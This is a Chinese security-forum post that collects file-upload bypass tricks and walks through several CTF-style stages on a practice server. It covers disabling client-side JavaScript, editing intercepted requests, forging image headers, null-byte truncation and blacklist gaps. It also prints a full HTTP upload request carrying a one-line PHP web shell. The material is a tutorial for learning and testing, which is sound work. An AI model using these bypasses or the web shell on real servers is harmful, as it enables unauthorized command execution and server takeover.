首页
论坛
课程
招聘
[原创]个人整理文件上传绕过思路
2020-9-16 20:58 3822

[原创]个人整理文件上传绕过思路

2020-9-16 20:58
3822

概述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
解题思路:
    1、上传文件测试,如果是前端验证,直接禁用JS,上传
    2、如果禁用JS不成功,把php文件后缀改为jpg,抓包之后改回来,如果后台服务器还是验证了,就加上空格
    3、如果是后台验证:
        要上传的文件改为jpg格式,然后抓包之后修改文件后缀加空格       
 
解题库:
    1000第三题:
        http://58.213.153.14:1000/stage/3/
        上传文件之后,点击上传才进行验证,说明不是前验证,此时需要抓包,抓包之后在.php后面加上空格重新发包即可
    1000第四题
        http://58.213.153.14:1000/stage/4/
        上传文件之后,点击上传进行验证,说明不是前段,抓包之后,后缀加空格不对,利用php解析的先后顺序,从后往前解析
        而猜测源码中可能进行了白名单验证,只要包含.jpg就会让通过,此处联想到,如果不光进行这个验证,还要文件头验证会
        如何,需要加入jpg的文件头,contenttype也要设置为image/jpeg
    1020第九题
        浏览php文件提示需要上传jpg,直接右上角禁用JS,之后再次上传得到flag值
        http://58.213.153.14:1020/stage/9/upload1.php
    1020第十题
        http://58.213.153.14:1020/stage/10/upload.php
        此题比较变态,估计在源码中进行了限制,首先上传文件之后没有报错,说明不是前段验证,之后点击上传抓包,修改文件后缀.php不可以
        修改文件后缀为jpg.php不可以,原以为是一个后缀解析的问题,加空格不可以,反过来.php.jpg不可以,加空格即可,
        filename="x.php.jpg "
文件上传几个检测步骤:
前端验证:
    方法1、禁用JS,直接上传
    方法2、首先把php文件后缀改为jpg,抓包,修改包文件名后缀,之后再上传
服务器端验证:
    方法1、检测文件头的话,需要抓包之后增加文件头:
            GIF = GIF89a (47494638
            JPG = ???à JFIF (FFD8FF) 
            BMP = BMF? (424D
            JPEG (jpg),                        文件头:FFD8FF                            文件尾:FF D9               
            PNG (png),                         文件头:89504E47                          文件尾:AE 42 60 82
            GIF (gif),                         文件头:47494638                          文件尾:00 3B                                                                 ZIP Archive (zip),                 文件头:504B0304                          文件尾:50 4B
            php:content-type:application/octet-stream
    方法2
        Content-Disposition: form-data; name="upfile"; filename="x.jpg.php"  修改文件名
        Content-Type: image/jpeg   修改文件类型
 
        ???à JFIF (FFD8FF)  添加文件头
        <?php echo '1' ?>
        Content-Disposition: form-data; name="submit"
 
 
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。
常见校验上传文件的方法
 
一、客户端校验
 
通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
 
二、服务器端校验
 
校验请求头 content-type字段,例如用PHP检测
 
    if($_FILES['userfile']['type'] != "image/gif"){
      ....
    }
 
通过自己写正则匹配来判断文件幻数(文件头)内容是否符合要求,一般来说属于白名单的检测,常见的文件头(文件头标志位)如下
1).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00)
2).gif,”GIF89A”(474946383961
3).zip,”ZipCompressed”(504B0304
4).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1
 
文件加载检测:一般是调用API或函数去进行文件加载测试,例如图像渲染测试,当测试结果正常的时候才允许上传
    1、一次渲染(代码注入)
    2、二次渲染
    后缀名黑名单校验
    后缀名白名单校验
    自定义
    WAF校验,即使用不同的WAF产品来进行过滤,通常是独立与服务程序的一段中间程序或者硬件
 
三、对应校验的绕过方法
1.客户端校验绕过:
直接修改js代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp/php/asp,只用这种方法来检测是肯定可以绕过的。
2.服务端绕过
使用burpsuite进行抓包,然后修改后缀名,".php "
校验请求头content-type字段绕过
通过抓包来修改Http头的content-type即可绕过,也肯定是可以绕过这种检测
 
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-
 
文件幻数(文件头)检测绕过:
    在木马内容的前面插入对应的文件头内容,例如:GIF89a ,更保险的方法是在可上传的文件中插入木马代码,然后修改后缀
文件加载检测:
    通过例如加载文件进行图像渲染的方式来测试,这个时候就一般需要在正常的文件中插入木马代码了,例如图像,那么插入的代码一般会放在图像的注释区,因此不会影响图像正常渲染绕过这种检测,此时可以使用工具(称为插马器)来进行插入,例如edjpgcom,或者直接用copy命令来合成也可以。当然这种检测不一定能够完全绕过
后缀名检测
后缀黑名单检测:
    找查blacklist(黑名单列表)的漏网之鱼,例如
 
    大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过
 
    扩展名:列表中如果忽略了某些后缀,能被解析的文件扩展名列表:
        jsp jspx jspf
        asp asa cer aspx
        php php php3 php4 pht
        exe exee
 
后缀白名单检测:白名单检测还是会比黑名单强一点,常见的绕过方法有%00截断,还有服务器的解析漏洞
%00截断漏洞:如果存在这类漏洞,那么后缀名的检测都可以绕过,此时我们可以如下命名一个上传文件test.php%00.jpg
   解析漏洞:这类漏洞是本身服务器的中间件产生的,例如apache,nginx都被爆出过存在解析漏洞,存在解析漏洞的话,上传的安全性几乎就完全失去了,下面再详细分析。

【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回